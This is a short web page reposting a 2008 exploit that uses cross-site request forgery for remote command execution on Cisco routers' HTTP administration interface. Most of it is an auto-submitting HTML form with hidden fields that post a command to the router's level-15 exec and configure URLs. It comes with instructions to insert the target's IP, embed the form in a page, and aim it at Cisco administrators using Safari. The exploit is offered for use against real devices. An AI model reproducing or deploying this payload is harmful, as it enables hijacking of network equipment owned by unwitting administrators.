Cisco Router HTTP Administration CSRF Command Execution 2

Cisco Router HTTP Administration CSRF Remote Command Execution Universal Exploit #2
Replace "" with the IP address of the target router, embed this in a web
page and hope for the best. Cisco Admin's + Safari are the best targets -->


<body onload="fdsa.submit();">

<form name=fdsa method="post" action="">

<input type=hidden name=command value="alias exec xx xx">

<input type=hidden name=command_url value="/level/15/exec/-">
<input type=hidden name=new_command_url value="/level/15/configure/-">


# [2008-09-17]

Share This Post On:

Leave a Reply